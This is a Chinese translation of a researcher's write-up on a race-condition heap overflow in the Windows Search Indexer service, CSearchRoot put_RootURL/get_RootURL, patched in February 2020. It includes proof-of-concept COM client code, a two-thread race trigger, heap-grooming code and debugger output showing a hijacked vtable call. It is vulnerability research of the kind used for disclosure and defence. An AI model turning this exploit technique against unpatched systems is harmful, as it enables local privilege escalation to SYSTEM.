Windows Search Indexer 本地提權漏洞分析

作者：h1apwn 2020-11-16 10:55:41

Windows Service中最近發生的大多數LPE漏洞都是邏輯漏洞。通過這種方式，對Windows Search Indexer的內存損壞漏洞進行分析非常有趣。因此，此后的Windows Service中很可能會出現這種內存損壞漏洞。

Windows Search Indexer 介紹

Windows Search Indexer是一項Windows服務，用于為Windows Search處理文件索引，這為Windows內置的文件搜索引擎提供了動力，該引擎為從“開始”菜單搜索框到Windows資源管理器甚至是“庫”函數的所有函數提供支持。

Search Indexer有助于從GUI的角度通過GUI和索引選項將用戶定向到服務界面，如下所示。

索引過程中的所有數據庫和臨時數據都存儲為文件并進行管理。通常，在Windows Service中，整個過程都是使用NT AUTHORITY SYSTEM特權執行的。如果由于修改文件路徑而碰巧存在邏輯漏洞，則可能會觸發特權提升。(例如Symlink攻擊)

鑒于最近在Windows Service中發生的大多數漏洞都是由于邏輯漏洞而導致的LPE漏洞，因此我們假定Search Indexer可能有類似的漏洞，但是，我們的分析結果并非如此，隨后將介紹更多詳細信息。

補丁對比

分析環境是Windows7 x86，因為它具有較小的更新文件，并且易于識別差異，我們下載了該模塊的兩個補丁版本。

可以從Microsoft更新目錄下載它們：

patch程序版本(1月程序)：KB4534314 2
補丁程序版本(2月補丁)：KB4537813 3

我們從patch過的二進制文件的BinDiff開始(在這種情況下，只有一個：searchindexer.exe)

大多數補丁都是在CSearchCrawlScopeManager和CSearchRoot類中完成的。前者在1月進行了patch，而后者在下個月進行了patch。這兩個類都包含相同的更改，因此我們專注于patch的CSearchRoot。

下圖顯示添加了原始代碼，該代碼使用Lock來安全地訪問共享資源。我們推斷，訪問共享資源會導致競爭條件漏洞的發生，因為該補丁由putter, getter函數組成。

界面互動

我們參考了MSDN，了解如何使用這些類，并發現它們都與“爬網管理器”相關的，我們可以檢查此類的方法信息。

MSDN說4：

爬網范圍管理器(CSM)是一組API，可添加，刪除和枚舉Windows搜索索引器的搜索root和范圍規則。當希望索引器開始對新容器進行爬網時，可以使用CSM設置搜索root目錄，并為搜索root目錄內的路徑設置作用域規則。

CSM界面如下：

IEnumSearchRoots
IEnumSearchScopeRules
ISearchCrawlScopeManager
ISearchCrawlScopeManager2
ISearchRoot
ISearchScopeRule
ISearchItem

例如，添加，刪除和枚舉搜索root和范圍規則可以通過以下方式編寫：

ISearchCrawlScopeManager告知搜索引擎要爬網和/或監視的容器，以及要包含或排除的容器下的項目。若要添加新的搜索，需要實例化ISearchRoot對象，設置root屬性，然后調用ISearchCrawlScopeManager :: AddRoot并將其傳遞給ISearchRoot對象的指針。

// Add RootInfo & Scope Rule 
pISearchRoot->put_RootURL(L"file:///C:\ "); 
pSearchCrawlScopeManager->AddRoot(pISearchRoot); 
pSearchCrawlScopeManager->AddDefaultScopeRule(L"file:///C:\Windows", fInclude, FF_INDEXCOMPLEXURLS); 
 
// Set Registry key 
pSearchCrawlScopeManager->SaveAll();

當我們不再希望對該URL編制索引時，我們還可以使用ISearchCrawlScopeManager從爬網范圍中刪除root。刪除root還會刪除該URL的所有范圍規則。我們可以卸載應用程序，刪除所有數據，然后從爬網范圍中刪除搜索root，并且“爬網范圍管理器”將刪除root以及與該root相關聯的所有范圍規則。

// Remove RootInfo & Scope Rule 
ISearchCrawlScopeManager->RemoveRoot(pszURL); 
 
// Set Registry key 
ISearchCrawlScopeManager->SaveAll();

CSM使用IEnumSearchRoots枚舉搜索root。出于多種目的，我們可以使用此類枚舉搜索root;例如，我們可能想要在用戶界面中顯示整個爬網范圍，或者發現爬網范圍中是否已經有特定的root目錄或root目錄的子級。

// Display RootInfo 
 PWSTR pszUrl = NULL; 
 pSearchRoot->get_RootURL(&pszUrl); 
 wcout << L"\t" << pszUrl; 
  
 // Display Scope Rule 
 IEnumSearchScopeRules *pScopeRules; 
 pSearchCrawlScopeManager->EnumerateScopeRules(&pScopeRules); 
  
 ISearchScopeRule *pSearchScopeRule; 
 pScopeRules->Next(1, &pSearchScopeRule, NULL)) 
  
 pSearchScopeRule->get_PatternOrURL(&pszUrl); 
 wcout << L"\t" << pszUrl;

我們認為在處理URL的過程中會出現漏洞，因此，我們開始分析根本原因。

漏洞分析

我們針對以下函數進行了二進制分析：

ISearchRoot :: put_RootURL
ISearchRoot :: get_RootURL

在分析ISearchRoot :: put_RootURL和ISearchRoot :: get_RootURL時，我們發現引用了對象的共享變量(CSearchRoot + 0x14)。

put_RootURL函數將用戶控制的數據寫入CSearchRoot + 0x14的內存中。get_RootURL函數讀取位于CSearchRoot + 0x14內存中的數據，該漏洞似乎是由與補丁程序有關的共享變量引起的。

因此，我們終于到了漏洞開始的地方，該漏洞在發生以下情況時可能會觸發：

1. 首次提取：用作內存分配大小(第9行)

2. 第二次獲取：用作內存副本大小(第13行)

如果第一個和第二個的大小不同，則可能會發生堆溢出，尤其是在第二個提取的大小較大時。我們認為，在發生內存復制之前，我們通過競爭條件充分更改了pszURL的大小。

崩潰現場

通過OleView 5，我們可以看到Windows Search Manager提供的界面，而且我們需要跟據接口的方法來攻擊漏洞函數。

我們可以通過MSDN 6提供的基于COM的命令行源代碼輕松地對其進行測試，并編寫了攻擊存在漏洞的函數的COM客戶端代碼，如下所示：

int wmain(int argc, wchar_t *argv[]) 
{ 
    // Initialize COM library 
    CoInitializeEx(NULL, COINIT_APARTMENTTHREADED | COINIT_DISABLE_OLE1DDE); 
 
    // Class instantiate 
    ISearchRoot *pISearchRoot; 
    CoCreateInstance(CLSID_CSearchRoot, NULL, CLSCTX_ALL, IID_PPV_ARGS(&pISearchRoot)); 
 
    // Vulnerable functions hit 
    pISearchRoot->put_RootURL(L"Shared RootURL"); 
    PWSTR pszUrl = NULL; 
    HRESULT hr = pSearchRoot->get_RootURL(&pszUrl); 
    wcout << L"\t" << pszUrl; 
    CoTaskMemFree(pszUrl); 
 
    // Free COM resource, End 
    pISearchRoot->Release(); 
    CoUninitialize(); 
}

漏洞觸發非常簡單。我們創建了兩個線程：一個線程將不同長度的數據寫入共享緩沖區，另一個線程同時從共享緩沖區讀取數據。

DWORD __stdcall thread_putter(LPVOID param) 
{ 
 ISearchManager *pSearchManager = (ISearchManager*)param; 
 while (1) { 
  pSearchManager->put_RootURL(L"AA"); 
  pSearchManager->put_RootURL(L"AAAAAAAAAA"); 
 } 
 return 0; 
} 
DWORD __stdcall thread_getter(LPVOID param) 
{ 
 ISearchRoot *pISearchRoot = (ISearchRoot*)param; 
 PWSTR get_pszUrl; 
 while (1) { 
  pISearchRoot->get_RootURL(&get_pszUrl); 
 } 
 return 0; 
}

崩潰了!

毫無疑問，在StringCchCopyW函數復制RootURL數據之前，競爭條件已經成功，從而導致堆溢出。

劫持EIP

為了控制EIP，我們應該為發生漏洞的Sever堆創建一個對象。

我們編寫了如下的客戶端代碼，以跟蹤堆狀態。

int wmain(int argc, wchar_t *argv[]) 
{ 
    CoInitializeEx(NULL, COINIT_MULTITHREADED | COINIT_DISABLE_OLE1DDE); 
    ISearchRoot *pISearchRoot[20]; 
    for (int i = 0; i < 20; i++) { 
        CoCreateInstance(CLSID_CSearchRoot, NULL, CLSCTX_LOCAL_SERVER, IID_PPV_ARGS(&pISearchRoot[i])); 
    } 
    pISearchRoot[3]->Release(); 
    pISearchRoot[5]->Release(); 
    pISearchRoot[7]->Release(); 
    pISearchRoot[9]->Release(); 
    pISearchRoot[11]->Release(); 
 
     
    CreateThread(NULL, 0, thread_putter, (LPVOID)pISearchRoot[13], 0, NULL); 
    CreateThread(NULL, 0, thread_getter, (LPVOID)pISearchRoot[13], 0, NULL); 
    Sleep(500); 
     
    CoUninitialize(); 
    return 0; 
}

我們發現，如果客戶端不釋放pISearchRoot對象，則IRpcStubBuffer對象將保留在服務器堆上。而且我們還看到IRpcStubBuffer對象保持在發生漏洞的堆的位置附近。

0:010> !heap -p -all 
  ... 
  03d58f10 0005 0005  [00]   03d58f18    0001a - (busy)     <-- CoTaskMalloc return 
   mssprxy!_idxpi_IID_Lookup  (mssprxy+0x75) 
  03d58f38 0005 0005  [00]   03d58f40    00020 - (free) 
  03d58f60 0005 0005  [00]   03d58f68    0001c - (busy)     <-- IRpcStubBuffer Obj 
    ? mssprxy!_ISearchRootStubVtbl+10 
  03d58f88 0005 0005  [00]   03d58f90    0001c - (busy) 
    ? mssprxy!_ISearchRootStubVtbl+10                       <-- IRpcStubBuffer Obj 
  03d58fb0 0005 0005  [00]   03d58fb8    00020 - (busy) 
  03d58fd8 0005 0005  [00]   03d58fe0    0001c - (busy) 
    ? mssprxy!_ISearchRootStubVtbl+10                       <-- IRpcStubBuffer Obj 
  03d59000 0005 0005  [00]   03d59008    0001c - (busy) 
    ? mssprxy!_ISearchRootStubVtbl+10                       <-- IRpcStubBuffer Obj 
  03d59028 0005 0005  [00]   03d59030    00020 - (busy) 
  03d59050 0005 0005  [00]   03d59058    00020 - (busy) 
  03d59078 0005 0005  [00]   03d59080    00020 - (free) 
  03d590a0 0005 0005  [00]   03d590a8    00020 - (free) 
  03d590c8 0005 0005  [00]   03d590d0    0001c - (busy) 
    ? mssprxy!_ISearchRootStubVtbl+10                       <-- IRpcStubBuffer Obj

在COM中，所有接口都有自己的接口存根空間。存根是用于在RPC通信期間支持遠程方法調用的較小內存空間，IRpcStubBuffer是此類接口存root的主要接口。在此過程中，支持pISearchRoot的接口存root的IRpcStubBuffer仍保留在服務器的堆上。

IRpcStubBuffer的vtfunction如下：

0:003> dds poi(03d58f18) l10 
  71215bc8  7121707e mssprxy!CStdStubBuffer_QueryInterface 
  71215bcc  71217073 mssprxy!CStdStubBuffer_AddRef 
  71215bd0  71216840 mssprxy!CStdStubBuffer_Release 
  71215bd4  71217926 mssprxy!CStdStubBuffer_Connect 
  71215bd8  71216866 mssprxy!CStdStubBuffer_Disconnect <-- client call : CoUninitialize(); 
  71215bdc  7121687c mssprxy!CStdStubBuffer_Invoke 
  71215be0  7121791b mssprxy!CStdStubBuffer_IsIIDSupported 
  71215be4  71217910 mssprxy!CStdStubBuffer_CountRefs 
  71215be8  71217905 mssprxy!CStdStubBuffer_DebugServerQueryInterface 
  71215bec  712178fa mssprxy!CStdStubBuffer_DebugServerRelease

當客戶端的COM未初始化時，IRpcStubBuffer :: Disconnect斷開對象指針的所有連接。因此，如果客戶端調用CoUninitialize函數，則會在服務器上調用CStdStubBuffer_Disconnect函數。這意味著用戶可以構造偽造的vtable并調用該函數。

但是，我們并不總是看到IRpcStubBuffer分配在同一位置堆上。因此，需要多次嘗試來構造堆布局，經過幾次嘗試后，IRpcStubBuffer對象被如下可控值(0x45454545)覆蓋。

最后，我們可以證明可以間接調用內存中的函數!

分析結論

我們希望該分析將對其他漏洞研究人員有所幫助，并可以用于進一步的研究。

參考文獻

https://portal.msrc.microsoft.com/en-us/security-guidance/acknowledgments ↩
https://www.catalog.update.microsoft.com/Search.aspx?q=KB4534314 ↩
https://www.catalog.update.microsoft.com/Search.aspx?q=KB4537813 ↩
https://docs.microsoft.com/en-us/windows/win32/search/-search-3x-wds-extidx-csm ↩
https://github.com/tyranid/oleviewdotnet ↩
https://docs.microsoft.com/en-us/windows/win32/search/-search-sample-crawlscopecommandline ↩

本文翻譯自：http://blog.diffense.co.kr/2020/03/26/SearchIndexer.html如若轉載，請注明原文地址。

責任編輯：姜華來源：嘶吼網

Windows